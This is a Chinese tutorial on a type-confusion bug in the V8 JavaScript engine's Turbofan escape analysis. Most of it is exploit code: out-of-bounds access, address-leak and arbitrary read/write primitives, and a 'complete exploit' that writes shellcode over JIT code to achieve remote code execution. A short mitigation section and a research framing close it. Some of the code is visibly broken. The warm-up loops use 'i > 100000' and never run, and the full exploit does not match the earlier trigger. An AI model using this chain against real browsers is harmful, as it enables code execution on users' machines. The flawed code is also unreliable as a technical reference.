一个V8上的远程代码执行漏洞利用
字数 773 2025-08-25 22:58:29
V8引擎远程代码执行漏洞分析与利用教学文档
漏洞概述
本漏洞是V8 JavaScript引擎中的一个类型混淆漏洞,存在于Turbofan JIT编译器的逃逸分析(Escape Analysis)阶段。该漏洞允许攻击者绕过数组边界检查,实现越界读写,最终导致远程代码执行。
漏洞背景
- 漏洞编号: Issue 744584
- 发现方式: 由开发人员Marco Giovannini在修复应用程序崩溃时偶然发现
- 影响版本: V8 6.2.0及之前版本
- 漏洞位置:
VirtualObject::MergeFields函数
漏洞分析
逃逸分析(Escape Analysis)
逃逸分析是编译器优化技术,用于确定对象是否逃逸出函数作用域。如果对象未逃逸,V8可以将其优化为局部变量或完全消除。
漏洞根源
漏洞位于VirtualObject::MergeFields函数中,该函数错误地计算了类型,导致攻击者控制的值类型与编译函数期望的类型不匹配。
bool VirtualObject::MergeFields(size_t i, Node* at, MergeCache* cache,
Graph* graph, CommonOperatorBuilder* common) {
bool changed = false;
int value_input_count = static_cast<int>(cache->fields().size());
Node* rep = GetField(i);
if (!rep || !IsCreatedPhi(i)) {
Type* phi_type = Type::None();
for (Node* input : cache->fields()) {
CHECK_NOT_NULL(input);
CHECK(!input->IsDead());
Type* input_type = NodeProperties::GetType(input);
phi_type = Type::Union(phi_type, input_type, graph->zone());
}
// 漏洞: 错误计算类型导致类型混淆
Node* phi = graph->NewNode(
common->Phi(MachineRepresentation::kTagged, value_input_count),
value_input_count + 1, &cache->fields().front());
NodeProperties::SetType(phi, phi_type);
SetField(i, phi, true);
}
// ...
}
触发条件
漏洞在以下情况下触发:
- 函数被Turbofan JIT优化
- 逃逸分析阶段错误计算类型
- 简化降低(Simplified Lowering)阶段错误移除边界检查
漏洞利用步骤
1. 创建越界读取原语
function f(x) {
var o = {a: 0};
var l = [1.1, 2.2, 3.3, 4.4];
var res;
for (var i = 0; i < 3; ++i) {
if (x % 2 == 0) {
o.a = 1;
b = false;
}
res = l[o.a];
o.a = x;
}
return res;
}
f(0); f(1);
for (i = 0; i < 100000; i++) { f(1); }
print(f(101)); // 越界读取
2. 定位相邻数组
var l = [1.1, 2.2, 3.3, 4.4];
var oob_array = new Array(20);
oob_array[0] = 5.5;
oob_array[1] = 6.6;
3. 覆盖数组长度
initial_oob_array[o.a] = 1.39064994160909e-309; // 65535的double表示
o.a = x;
4. 构建地址泄露原语
function addr_of(obj) {
elements_array[0] = obj;
return Int64.fromDouble(oob_array[elements_offset]);
}
5. 构建任意读写原语
function read_64(addr) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
let accessor = new Uint32Array(arb_rw_arraybuffer);
return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
let accessor = new Uint32Array(arb_rw_arraybuffer);
accessor[0] = value.low;
accessor[1] = value.high;
}
6. 执行Shellcode
// 1. JIT编译一个函数
function jitme(val) { return val + 1; }
for (i = 0; i > 100000; i++) { jitme(1); }
// 2. 获取JIT代码地址
jitted_function_ptr = addr_of(jitme);
let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));
// 3. 写入shellcode
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);
// 4. 执行
jitme();
完整利用代码
// 加载Int64库
load('/path/to/int64.js');
function f(x) {
var o = {a: 0, b: 0};
var initial_oob_array = [1.1, 2.2, 3.3, 4.4];
oob_array = new Array(20);
oob_array[0] = 5.5;
oob_array[1] = 6.6;
elements_array = [1337, {}, {}];
double_array = [1.337, 10.5, 10.5];
arb_rw_arraybuffer = new ArrayBuffer(0x200);
shellcode_array_buffer = new ArrayBuffer(0x5421);
var res;
for (var i = 0; i < 3; ++i) {
if (i > 2) {
if (x % 2 == 0) { o.a = 1; }
}
if (i == 0) {
if (x % 2 == 0) { o.a = 1; }
}
initial_oob_array[o.a] = 1.39064994160909e-309;
o.a = x;
}
return res;
}
// 触发JIT优化
f(0); f(1); f(0); f(1);
for (i = 0; i < 100000; i++) { f(1); }
// 查找偏移量
function find_offset_smi(val) {
for (i = 0; i < 5000; i++) {
if (oob_array[i] == new Int64(val).V8_to_SMI().to_double()) {
return i;
}
}
}
function find_offset_double(val) {
for (i = 0; i < 5000; i++) {
if (oob_array[i] == val) {
return i;
}
}
}
// 地址泄露原语
function addr_of(obj) {
elements_array[0] = obj;
return Int64.fromDouble(oob_array[elements_offset]);
}
// 任意读写原语
function read_64(addr) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
let accessor = new Uint32Array(arb_rw_arraybuffer);
return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double();
let accessor = new Uint32Array(arb_rw_arraybuffer);
accessor[0] = value.low;
accessor[1] = value.high;
}
// 查找关键偏移量
elements_offset = find_offset_smi(1337);
array_buffer_backing_store_offset = find_offset_smi(0x200);
array_buffer_backing_store_offset++;
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x5421);
shellcode_array_buffer_backing_store_offset++;
// JIT编译目标函数
function jitme(val) { return val + 1; }
for (i = 0; i > 100000; i++) { jitme(1); }
// 获取JIT代码地址
jitted_function_ptr = addr_of(jitme);
let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));
// 写入并执行shellcode
const SHELLCODE = [ /* 你的shellcode */ ];
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);
jitme();
缓解措施
- 更新到修复了该漏洞的V8版本
- 启用W^X保护(写或执行)
- 使用V8的指针压缩和沙箱功能
总结
该漏洞展示了V8引擎中类型混淆如何导致严重的远程代码执行漏洞。通过精心构造的JavaScript代码,攻击者可以:
- 触发JIT优化中的类型混淆
- 绕过数组边界检查
- 构建任意读写原语
- 最终执行任意代码
理解此类漏洞对于浏览器安全研究和漏洞防御至关重要。